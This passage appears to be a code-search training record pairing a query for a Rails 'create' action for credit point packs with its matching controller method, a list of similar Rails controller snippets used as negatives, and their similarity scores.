"def show\n @debt_paper_price = DebtPaperPrice.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @debt_paper_price }\n end\n end",
"def show\n @panel_billing = Panel::Billing.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @panel_billing }\n end\n end",
"def show\n @bill = Bill.find(params[:id])\n\n render json: @bill\n end",
"def show\n render json: @care_plan\n end",
"def index\n @user_smart_points = UserSmartPoint.all\n render json: @user_smart_points\n end",
"def show\n @credit = Credit.find_by_customer_id(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @credit }\n end\n end",
"def show\n @cp_press = CpPress.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cp_press }\n end\n end",
"def show\n @sslplan = Sslplan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @sslplan }\n end\n end",
"def index\n skickers = Skicker.order(power: :asc)\n render json: { status: 'SUCCESS', message: 'Loaded skickers', value: skickers }\n end",
"def show\n @sugar_bag = SugarBag.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @sugar_bag }\n end\n end",
"def new\n @collection_point = CollectionPoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collection_point }\n end\n end",
"def index\n @bucketlist_item = BucketlistItem.all\n # @bucketlist_item = @trip.bucketlist_item\n render json: @bucketlist_item\n end",
"def new\n @credit = Credit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @credit }\n end\n end",
"def new\n @credit = Credit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @credit }\n end\n end",
"def show\n @composer = Composer.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @composer }\n end\n end",
"def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @service_pricing_schemes }\n end\n end",
"def show\n @points_history = PointsHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @points_history }\n end\n end",
"def show\n @pickup = Pickup.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pickup }\n end\n end",
"def show\n @supplies_providers_loan = SuppliesProvidersLoan.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @supplies_providers_loan }\n end\n end",
"def show\n\n render json: @bookkeeping\n end",
"def show\n render json: @bank\n end",
"def show\n render json: @petty_cash_expense\n end",
"def new\n @credit = Credit.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @credit }\n end\n end",
"def index\n @packing_quantities = PackingQuantity.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @packing_quantities }\n end\n end",
"def show\n @pack_group_receipt = PackGroupReceipt.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @pack_group_receipt }\n end\n end",
"def show\n @punch = Punch.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @punch }\n end\n end",
"def show\n @bizcard = Bizcard.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bizcard }\n end\n end",
"def index\n @fundamental_resource_pools = Fundamental::ResourcePool.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fundamental_resource_pools }\n end\n end",
"def get_champion_data(patch_number)\n response_string = RestClient.get(\"http://ddragon.leagueoflegends.com/cdn/#{patch_number}/data/en_US/champion.json\")\n response_hash = JSON.parse(response_string)\n champion_data = response_hash[\"data\"]\nend",
"def show\n @borrow_request = BorrowRequest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @borrow_request }\n end\n end"
] |
[
"0.68940365",
"0.6628313",
"0.6601933",
"0.6461426",
"0.6242014",
"0.6150657",
"0.61481786",
"0.61032146",
"0.6048096",
"0.5986784",
"0.5936113",
"0.59107715",
"0.5869599",
"0.5864776",
"0.5749899",
"0.57445186",
"0.57216",
"0.57216",
"0.5662348",
"0.5662333",
"0.564899",
"0.564194",
"0.564115",
"0.5635756",
"0.56319976",
"0.56213623",
"0.56175905",
"0.55958354",
"0.55953914",
"0.55934006",
"0.5572814",
"0.5556191",
"0.5553956",
"0.5533502",
"0.55332315",
"0.5526117",
"0.5525078",
"0.552161",
"0.55188346",
"0.5511809",
"0.5508516",
"0.550218",
"0.55012524",
"0.5499911",
"0.5489318",
"0.5479624",
"0.5477431",
"0.54773355",
"0.5474511",
"0.5469706",
"0.5465572",
"0.54603857",
"0.5460263",
"0.5449792",
"0.54450727",
"0.5423007",
"0.5416364",
"0.5413949",
"0.5408782",
"0.5401815",
"0.5400285",
"0.5393401",
"0.5387025",
"0.5385219",
"0.5384394",
"0.53828907",
"0.537991",
"0.53788096",
"0.5375881",
"0.53718174",
"0.53489584",
"0.53377646",
"0.5337492",
"0.5337044",
"0.5334278",
"0.53300536",
"0.53258854",
"0.5324951",
"0.53246576",
"0.5318381",
"0.5317658",
"0.5310912",
"0.53067714",
"0.5304516",
"0.5304516",
"0.5302942",
"0.5299069",
"0.52983975",
"0.5297894",
"0.5297045",
"0.5295388",
"0.5292568",
"0.52921414",
"0.52906436",
"0.5286523",
"0.5281267",
"0.52805036",
"0.52770555",
"0.5276835",
"0.52758455",
"0.5271237"
] |
0.0
|
-1
|
POST /credit_point_packs POST /credit_point_packs.json
|
def create
@credit_point_pack = CreditPointPack.new(credit_point_pack_params)
respond_to do |format|
if @credit_point_pack.save
format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully created.' }
format.json { render :show, status: :created, location: @credit_point_pack }
else
format.html { render :new }
format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def credit_point_pack_params\n params.require(:credit_point_pack).permit(:name, :number_of_points, :price, :available)\n end",
"def set_credit_point_pack\n @credit_point_pack = CreditPointPack.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @credit_point_pack.update(credit_point_pack_params)\n format.html { redirect_to @credit_point_pack, notice: 'Credit point pack was successfully updated.' }\n format.json { render :show, status: :ok, location: @credit_point_pack }\n else\n format.html { render :edit }\n format.json { render json: @credit_point_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @credit_point_pack.destroy\n respond_to do |format|\n format.html { redirect_to credit_point_packs_url }\n format.json { head :no_content }\n end\n end",
"def create\n @bead_pack = BeadPack.new(bead_pack_params)\n respond_to do |format|\n if @bead_pack.save\n format.html { redirect_to @bead_pack, notice: 'Bead pack was successfully created.' }\n format.json { render :show, status: :created, location: @bead_pack }\n else\n format.html { render :new }\n format.json { render json: @bead_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bill_point = BillPoint.new(params[:bill_point])\n\n respond_to do |format|\n if @bill_point.save\n format.html { redirect_to @bill_point, notice: 'Bill point was successfully created.' }\n format.json { render json: @bill_point, status: :created, location: @bill_point }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bill_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_pack = OrderPack.new(order_pack_params)\n\n respond_to do |format|\n if @order_pack.save\n format.html { redirect_to @order_pack, notice: 'Order pack was successfully created.' }\n format.json { render :show, status: :created, location: @order_pack }\n else\n format.html { render :new }\n format.json { render json: @order_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @module_pack = ModulePack.new(params[:module_pack])\n\n respond_to do |format|\n if @module_pack.save\n format.html { redirect_to @module_pack, notice: 'Module pack was successfully created.' }\n format.json { render json: @module_pack, status: :created, location: @module_pack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @module_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @credit_point_packs = CreditPointPack.order_by_price\n end",
"def create\n @debate = Debate.new\n @debate.title = params[:title]\n @debate.image = params[:image]\n @debate.content = params[:content]\n @debate.user_id = current_user.id\n\n respond_to do |format|\n if @debate.save\n if params[:points]\n params[:points].each do |p|\n Point.create(user_id: current_user.id, debate_id: @debate.id, title: p)\n end\n end\n format.html { redirect_to @debate, notice: 'Debate was successfully created.' }\n format.json { render :show, status: :created, location: @debate }\n else\n format.html { render :new }\n format.json { render json: @debate.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @Point3Card = Point3Card.create(:card_id => params[:card_id], :value => params[:value], :suit => params[:suit])\n\n if @Point3Card.save\n render json: {}, status: :created\n else\n render json: @Point3Card.errors, status: :unprocessable_entity\n end\n end",
"def create\n @Point2Card = Point2Card.create(:card_id => params[:card_id], :value => params[:value], :suit => params[:suit])\n\n if @Point2Card.save\n render json: {}, status: :created\n else\n render json: @Point2Card.errors, status: :unprocessable_entity\n end\n end",
"def postContractCreate( entity_id, user_id, payment_provider, basket, billing_period, source, channel, campaign, referrer_domain, referrer_name, flatpack_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['user_id'] = user_id\n params['payment_provider'] = payment_provider\n params['basket'] = basket\n params['billing_period'] = billing_period\n params['source'] = source\n params['channel'] = channel\n params['campaign'] = campaign\n params['referrer_domain'] = referrer_domain\n params['referrer_name'] = referrer_name\n params['flatpack_id'] = flatpack_id\n return doCurl(\"post\",\"/contract/create\",params)\n end",
"def create\n @product_pack = ProductPack.new(product_pack_params)\n\n respond_to do |format|\n if @product_pack.save\n format.html { redirect_to @product_pack, notice: 'Product pack was successfully created.' }\n format.json { render :show, status: :created, location: @product_pack }\n else\n format.html { render :new }\n format.json { render json: @product_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @series = Series.find(params[:series_id])\n @pack = Pack.new( :player_id => current_player.id,\n :series_id => params[:series_id],\n :quantity => 1 )\n if @pack.save\n @series.packs_issued += 1\n @series.save\n flash.now[:success] = \"pack added.\"\n render 'show'\n else\n render 'index'\n end\n end",
"def create\n @spending_pool = SpendingPool.new(spending_pool_params)\n\n respond_to do |format|\n if @spending_pool.save\n format.html { redirect_to @spending_pool, notice: 'Spending pool was successfully created.' }\n format.json { render action: 'show', status: :created, location: @spending_pool }\n else\n format.html { render action: 'new' }\n format.json { render json: @spending_pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @redpack = Redpack.new(params[:redpack])\n\n respond_to do |format|\n if @redpack.save\n format.html { redirect_to @redpack, notice: 'Redpack was successfully created.' }\n format.json { render json: @redpack, status: :created, location: @redpack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @redpack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pointcode = Pointcode.new(params[:pointcode])\n\n respond_to do |format|\n if @pointcode.save\n format.html { redirect_to pointcodes_url }\n format.json { render json: @pointcode, status: :created, location: @pointcode }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pointcode.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pallet = Pallet.new(pallet_params)\n\n respond_to do |format|\n if @pallet.produce\n format.html { redirect_to pallets_path, notice: 'Pallet was successfully created.' }\n format.json { render :show, status: :created, location: pallets_path }\n else\n format.html { render :new }\n format.json { render json: @pallet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @punchcard = Punchcard.new(params)\n\n respond_to do |format|\n if @punchcard.save\n format.html { redirect_to @punchcard, notice: 'Punchcard was successfully created.' }\n format.json { render :show, status: :created, location: @punchcard }\n else\n format.html { render :new }\n format.json { render json: @punchcard.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @cash_flow ||= @monthly_budget.cash_flows.build(\n category_id: @category.id\n )\n\n @cash_flow.planned = cash_flow_params[:planned]\n\n if @cash_flow.save\n render json: @cash_flow, status: :created\n else\n render json: @cash_flow.errors, status: :unprocessable_entity\n end\n end",
"def create\n @nvs_pack = NvsPack.new(params[:nvs_pack])\n\n respond_to do |format|\n if @nvs_pack.save\n format.html { redirect_to @nvs_pack, notice: 'Nvs pack was successfully created.' }\n format.json { render json: @nvs_pack, status: :created, location: @nvs_pack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nvs_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @credits_offer = CreditsOffer.new(credits_offer_params)\n respond_to do |format|\n if @credits_offer.save\n format.html { redirect_to @credits_offer, notice: 'CreditsOffer was successfully created.' }\n format.json { render :show, status: :created, location: @credits_offer }\n else\n format.html { render :new }\n format.json { render json: @credits_offer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_pack_package = OrderPackPackage.new(order_pack_package_params)\n\n respond_to do |format|\n if @order_pack_package.save\n format.html { redirect_to @order_pack_package, notice: 'Order pack package was successfully created.' }\n format.json { render :show, status: :created, location: @order_pack_package }\n else\n format.html { render :new }\n format.json { render json: @order_pack_package.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @points_transaction = PointsTransaction.new(points_transaction_params)\n\n respond_to do |format|\n if @points_transaction.save\n format.html { redirect_to @points_transaction, notice: 'Points transaction was successfully created.' }\n format.json { render :show, status: :created, location: @points_transaction }\n else\n format.html { render :new }\n format.json { render json: @points_transaction.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @mod_pack = ModPack.new(mod_pack_params)\n\n respond_to do |format|\n if @mod_pack.save\n format.html { redirect_to @mod_pack, notice: 'Mod pack was successfully created.' }\n format.json { render :show, status: :created, location: @mod_pack }\n else\n format.html { render :new }\n format.json { render json: @mod_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_credit_card\n\n get_balanced_key\n card_uri = params[:card_uri]\n\n company_name = \"Mindfire Solutions\"\n customer = Balanced::Customer.new({name: company_name}).save\n customer_uri = customer.href\n get_customer = Balanced::Customer.fetch(customer_uri)\n card = Balanced::Card.fetch(card_uri)\n card.associate_to_customer(customer_uri)\n \n\n amount_in_dollars = params[:amount].to_i\n #amount_in_dollars * 100 convert into cents\n\n debit = card.debit(:amount => amount_in_dollars * 100, appears_on_statement_as: \"Debit Amount\")\n \n ##You can save the response in your db for future use\n #debit.transaction_number\n #debit.amount\n #debit.statusdebit.created_at\n \n #get the balanced market place\n marketplace = Balanced::Marketplace.my_marketplace\n \n credit = get_marketplace_bank_account.credit(:amount => debit.amount, appears_on_statement_as: \"Credit Amount\")\n\n\n return render json: {success: [\"Debit Transaction:: #{debit.attributes}\", \"Credit Transaction:: #{credit.attributes}\"] }\n\n end",
"def create\n render json: ::Transaction::CreditSerializer.new( do_credit! ), status: :created\n end",
"def create\n @point_submission = PointSubmission.new(point_submission_params)\n\n respond_to do |format|\n if @point_submission.save\n format.html { redirect_to @point_submission, notice: 'Point submission was successfully created.' }\n format.json { render :show, status: :created, location: @point_submission }\n else\n format.html { render :new }\n format.json { render json: @point_submission.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @final_packing_pallet = FinalPackingPallet.new(params[:final_packing_pallet])\n @final_packing_pallet.company_id = current_user.company_id\n respond_to do |format|\n if @final_packing_pallet.save\n format.html { redirect_to @final_packing_pallet, notice: 'El Packing Pallet Final fue creado exitosamente.' }\n format.json { render json: @final_packing_pallet, status: :created, location: @final_packing_pallet }\n else\n format.html { render action: \"new\" }\n format.json { render json: @final_packing_pallet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @starter_pack = StarterPack.new(starter_pack_params)\n\n respond_to do |format|\n if @starter_pack.save\n format.html { redirect_to settings_url, notice: 'Starter pack was successfully created.' }\n format.json { render :show, status: :created, location: @starter_pack }\n else\n format.html { render :new }\n format.json { render json: @starter_pack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @packing_list = PackingList.find(params[:packing_list_id])\n @context = @packing_list.context\n @packable = @packing_list.packables.build(params[:packable])\n\n respond_to do |format|\n if @packable.save\n format.html { redirect_to [@context, @packing_list], notice: 'Packable was successfully created.' }\n format.json { render json: @packing_list, status: :created, location: @packable }\n else\n format.html { render action: \"new\" }\n format.json { render json: @packable.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @point = Point.new(point_params)\n @point.goal_id = @goal.id\n\n respond_to do |format|\n if @point.save\n format.html { redirect_to :goals, notice: 'Your progress has been updated!' }\n @goal.current_quantity += @point.quantity\n @goal.save!\n format.json { render action: 'show', status: :created, location: @point }\n else\n format.html { redirect_to goals_path, alert: 'Your progress could not be updated because your quantity was not a valid number. \n Please try again.' }\n format.json { render json: @point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n #\n # Fix this -- we need to create series.trades_per_pack trades\n # with random characters from the series.\n #\n @pack = Pack.find(params[:pack_id])\n @pack.series.trades_per_pack.times do\n @trade = Trade.create!( :player_id => current_player.id,\n :character_id => 1 )\n end\n flash.now[:success] = \"pack opened\"\n @pack.destroy\n #@trades = trade.where( :player_id => current_player.id ).paginate( :page => params[:page] )\n @trades = current_player.trades.paginate( :page => params[:page] )\n render 'index'\n end",
"def create\n @key_point = KeyPoint.new(params[:key_point])\n\n respond_to do |format|\n if @key_point.save\n format.html { redirect_to :back, notice: 'Key point was successfully created.' }\n format.json { render json: @key_point, status: :created, location: @key_point }\n else\n format.html { render action: \"new\" }\n format.json { render json: @key_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @point_exchange = PointExchange.new(point_exchange_params)\n\n @remain_point = Customer.find(point_exchange_params[:customer_id]).customer_point.point\n @customer_point = Customer.find(point_exchange_params[:customer_id]).customer_point\n @customer_point.point = @customer_point.point - point_exchange_params[:point].to_i\n\n respond_to do |format|\n if @point_exchange.save and @customer_point.save\n format.html { redirect_to @point_exchange, notice: 'Point exchange was successfully created.' }\n format.json { render action: 'show', status: :created, location: @point_exchange }\n else\n format.html { render action: 'new' }\n format.json { render json: @point_exchange.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @deadlift_data_point = DeadliftDataPoint.new(params[:deadlift_data_point])\n\n respond_to do |format|\n if @deadlift_data_point.save\n format.html { redirect_to @deadlift_data_point, notice: 'Deadlift data point was successfully created.' }\n format.json { render json: @deadlift_data_point, status: :created, location: @deadlift_data_point }\n else\n format.html { render action: \"new\" }\n format.json { render json: @deadlift_data_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @shop_point = ShopPoint.new(shop_point_params)\n\n respond_to do |format|\n if @shop_point.save\n format.html { redirect_to @shop_point, notice: 'Shop point was successfully created.' }\n format.json { render :show, status: :created, location: @shop_point }\n else\n format.html { render :new }\n format.json { render json: @shop_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def pickup\n @shipment = Shipment.where(:tracking => params[:id]).first\n @shipment.picked_up_at = Time.now\n @shipment.status = \"Picked Up\"\n @shipment.number_of_packages = params[:number_of_packages] || 1\n\n respond_to do |format|\n if @shipment.save\n format.json { render json: {tracking: @shipment.tracking, status: @shipment.status, success: true}.to_json }\n else\n format.json { render json: @shipment.errors,\n status: :unprocessable_entity,\n tracking: @shipment.tracking,\n success: false }\n end\n end\n end",
"def create\n @point_consumption = PointConsumption.new(params[:point_consumption])\n\n respond_to do |format|\n if @point_consumption.save\n format.html { redirect_to @point_consumption, :notice => 'Point consumption was successfully created.' }\n format.json { render :json => @point_consumption, :status => :created, :location => @point_consumption }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @point_consumption.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @supply = Supply.new(supply_params)\n\n respond_to do |format|\n if @supply.save\n format.html { redirect_to supplies_path, notice: 'Goods was successfully created.' }\n format.json { render :show, status: :created, location: @supply }\n else\n format.html { render :new }\n format.json { render json: @supply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pack_group_receipt = PackGroupReceipt.new(params[:pack_group_receipt])\n\n @pack_group_receipt.company_id = current_user.company_id\n respond_to do |format|\n if @pack_group_receipt.save\n format.html { redirect_to '/pack_group_receipts' }\n format.json { render json: @pack_group_receipt, status: :created, location: @pack_group_receipt }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pack_group_receipt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @credit = Credit.new(params[:credit])\n\n respond_to do |format|\n if @credit.save\n format.html { redirect_to @credit, notice: 'Credit was successfully created.' }\n format.json { render json: @credit, status: :created, location: @credit }\n else\n format.html { render action: \"new\" }\n format.json { render json: @credit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @expense_buddy = ExpenseBuddy.new(expense_buddy_params)\n\n respond_to do |format|\n if @expense_buddy.save\n format.html { redirect_to @expense_buddy, notice: 'Expense buddy was successfully created.' }\n format.json { render :show, status: :created, location: @expense_buddy }\n else\n format.html { render :new }\n format.json { render json: @expense_buddy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def registerCard\n parameters={user_id: (@current_user[\"id\"]).to_i, number: (params[:number]).to_i, amount: (params[:amount]).to_i, expiration_month: (params[:expiration_month]).to_i, expiration_year: (params[:expiration_year]).to_i}\n puts (parameters)\n options = {\n :body => parameters.to_json,\n :headers => {\n 'Content-Type' => 'application/json'\n }\n }\n results = HTTParty.post(\"http://192.168.99.104:3003/credit_cards\", options)\n if results.code == 201\n head 201\n else\n render json: results.parsed_response, status: results.code\n end\n end",
"def create\n @press_kit_entry = @press_kit.press_kit_entries.new(press_kit_entry_params)\n\n respond_to do |format|\n if @press_kit_entry.save\n format.html { redirect_to backstage_press_kit_entries_url, notice: 'press_kit_entry was successfully created.' }\n # format.json { render :show, status: :created, location: @press_kit_entry }\n else\n format.html { render :new }\n # format.json { render json: @press_kit_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @fundamental_resource_pool = Fundamental::ResourcePool.new(params[:fundamental_resource_pool])\n\n respond_to do |format|\n if @fundamental_resource_pool.save\n format.html { redirect_to @fundamental_resource_pool, notice: 'Resource pool was successfully created.' }\n format.json { render json: @fundamental_resource_pool, status: :created, location: @fundamental_resource_pool }\n else\n format.html { render action: \"new\" }\n format.json { render json: @fundamental_resource_pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @bp = Bp.new(params[:bp])\n\n respond_to do |format|\n if @bp.save\n format.html { redirect_to @bp, notice: 'Bp was successfully created.' }\n format.json { render json: @bp, status: :created, location: @bp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bp.errors, status: :unprocessable_entity }\n end\n end\n end",
"def add_pbts pbts\n params = init_params\n params[:pbts] = pbts.to_json\n request_url = UrlGenerator.url_for(\"pbts\", \"add\")\n asgn = SignatureGenerator.signature_for(http_verb: 'POST', url: request_url, params: params)\n\n res = self.post(request_url, query: params.merge!({asgn: asgn}))\n if res[\"status\"] == \"SUCCESS\"\n return res\n else\n return error_response_for(res)\n end\n end",
"def create\n @pool = Pool.new(pool_params)\n\n respond_to do |format|\n if @pool.save\n format.html { redirect_to @pool, notice: 'Pool was successfully created.' }\n format.json { render :show, status: :created, location: @pool }\n else\n format.html { render :new }\n format.json { render json: @pool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pay_cmb_sign = Pay::CmbSign.new(pay_cmb_sign_params)\n\n respond_to do |format|\n if @pay_cmb_sign.save\n format.html { redirect_to @pay_cmb_sign, notice: 'Cmb sign was successfully created.' }\n format.json { render :show, status: :created, location: @pay_cmb_sign }\n else\n format.html { render :new }\n format.json { render json: @pay_cmb_sign.errors, status: :unprocessable_entity }\n end\n end\n end",
"def post\n begin\n charge = Stripe::Charge.create({\n amount: params[:amount],\n currency: 'sgd',\n customer: params[:customer_id],\n source: params[:card_id]\n })\n\n json_response(charge, :created)\n\n rescue Stripe::InvalidRequestError => exception\n response = Hash.new\n response[:error] = exception.message\n\n json_response(response, :bad_request)\n end\n end",
"def create_creditcard\n \n @creditcard = Creditcards.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @creditcard }\n end\n end",
"def create\n @ipack = Ipack.new(params[:ipack])\n\n respond_to do |format|\n if @ipack.save\n format.html { redirect_to ipacks_url, notice: 'Collection successfully created.' }\n format.json { render json: @ipack, status: :created, location: @ipack }\n else\n format.html { render action: \"new\" }\n format.json { render json: @ipack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @credit = Credit.new(credit_params)\n\n respond_to do |format|\n if @credit.save\n format.html { redirect_to credits_url, notice: '외상목록이 성공적으로 생성되었습니다.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n @surgery_supply = SurgerySupply.new(surgery_supply_params)\n\n respond_to do |format|\n if @surgery_supply.save\n format.html { redirect_to @surgery_supply, notice: 'Surgery supply was successfully created.' }\n format.json { render :show, status: :created, location: @surgery_supply }\n else\n format.html { render :new }\n format.json { render json: @surgery_supply.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_pack_item = OrderPackItem.new(order_pack_item_params)\n\n respond_to do |format|\n if @order_pack_item.save\n format.html { redirect_to @order_pack_item, notice: 'Order pack item was successfully created.' }\n format.json { render :show, status: :created, location: @order_pack_item }\n else\n format.html { render :new }\n format.json { render json: @order_pack_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @pallet = Pallet.new(pallet_params)\n\n respond_to do |format|\n if @pallet.save # SQL\n format.html { redirect_to @pallet, notice: 'Pallet was successfully created.' }\n format.json { render action: 'show', status: :created, location: @pallet }\n else\n format.html { render action: 'new' }\n format.json { render json: @pallet.errors, status: :unprocessable_entity }\n end\n end\n end",
"def buyPack\n\t\t@collection.addPack(@store.buyPack)\n\n\t\textras_dust, n_extras = @collection.disenchantExtras\n\t\tgoldens_dust, n_goldens = @collection.disenchantGoldens\n\n\t\t@dust += extras_dust + goldens_dust\n\t\t@disenchanted += n_extras + n_goldens\n\n\t\t@dust, n_crafted = @collection.craftRarest(@dust)\n\t\t@crafted += n_crafted\n\t\tnew_cards = Store::CARDS_PER_PACK + n_crafted - (n_extras + n_goldens)\n\t\t@cards += new_cards\n\t\t@cards_record.push(@cards)\n\t\t@purchased += 1\n\t\treturn new_cards\n\tend",
"def create\n @pack_group_dispatch = PackGroupDispatch.new(params[:pack_group_dispatch])\n\n @pack_group_dispatch.company_id = current_user.company_id\n respond_to do |format|\n if @pack_group_dispatch.save\n format.html { redirect_to @pack_group_dispatch, notice: 'Pack group dispatch was successfully created.' }\n format.json { render json: @pack_group_dispatch, status: :created, location: @pack_group_dispatch }\n else\n format.html { render action: \"new\" }\n format.json { render json: @pack_group_dispatch.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @levels_point = LevelsPoint.new(levels_point_params)\n\n respond_to do |format|\n if @levels_point.save\n format.html { redirect_to @levels_point, notice: 'Levels point was successfully created.' }\n format.json { render :show, status: :created, location: @levels_point }\n else\n format.html { render :new }\n format.json { render json: @levels_point.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @deck = Deck.new_from_api\n\n respond_to do |format|\n if @deck.save\n format.html { redirect_to @deck, notice: 'Deck was successfully created.' }\n format.json { render :show, status: :created, location: @deck }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @deck.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n points = params[:solution][:points_earned]\n unless current_user.posse.current_solution?\n solution = current_user.posse.solutions.create(solution_params)\n current_user.posse.add_points(points.to_i)\n end\n render json: solution\n end",
"def create\n format_amount\n @pay_plan = PayPlan.new(pay_plan_params)\n respond_to do |format|\n if @pay_plan.save\n format.html { redirect_to @pay_plan, notice: 'Payment plan was successfully created.' }\n format.json { render :show, status: :created, location: @pay_plan }\n else\n format.html { render :new }\n format.json { render json: @pay_plan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @sugar_bag = SugarBag.new(params[:sugar_bag])\n\n respond_to do |format|\n if @sugar_bag.save\n format.html { redirect_to @sugar_bag, notice: 'Sugar bag was successfully created.' }\n format.json { render json: @sugar_bag, status: :created, location: @sugar_bag }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sugar_bag.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @package = Package.create(package_params)\n\n render json: @package\n end",
"def create\n @tack = Tack.new(tack_params)\n\n if @tack.save\n render json: @tack, status: :created, location: @tack\n else\n render json: @tack.errors, status: :unprocessable_entity\n end\n end",
"def create\n @debit_card = DebitCard.new(debit_card_params)\n\n respond_to do |format|\n if @debit_card.save\n format.html { redirect_to @debit_card, notice: 'Debit card was successfully created.' }\n format.json { render :show, status: :created, location: @debit_card }\n else\n format.html { render :new }\n format.json { render json: @debit_card.errors, status: :unprocessable_entity }\n end\n end\n end",
"def credit\n handle_response(get(\"/credit.json\"))\n end",
"def create\n @supplies_providers_loan = SuppliesProvidersLoan.new(params[:supplies_providers_loan])\n @supply = Supply.find(@supplies_providers_loan.supply_id)\n @supply.stock_ini += @supplies_providers_loan.quantity\n @supplies_providers_loan.company_id = current_user.company_id\n respond_to do |format|\n if @supplies_providers_loan.save\n @supply.save\n format.html { redirect_to @supplies_providers_loan, notice: 'Supplies providers loan was successfully created.' }\n format.json { render json: @supplies_providers_loan, status: :created, location: @supplies_providers_loan }\n else\n format.html { render action: \"new\" }\n format.json { render json: @supplies_providers_loan.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(params[:plan])\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
"def create\n params[:panel_billing]['user_id'] = 4\n @panel_billing = Panel::Billing.new(params[:panel_billing])\n\n respond_to do |format|\n if @panel_billing.save\n format.html { redirect_to(@panel_billing, :notice => 'Billing was successfully created.') }\n format.json { render :json => @panel_billing, :status => :created, :location => @panel_billing }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @panel_billing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @plan = Plan.new(plan_params)\n\n if @plan.save\n render json: @plan, status: :created, location: @plan\n else\n render json: @plan.errors, status: :unprocessable_entity\n end\n end",
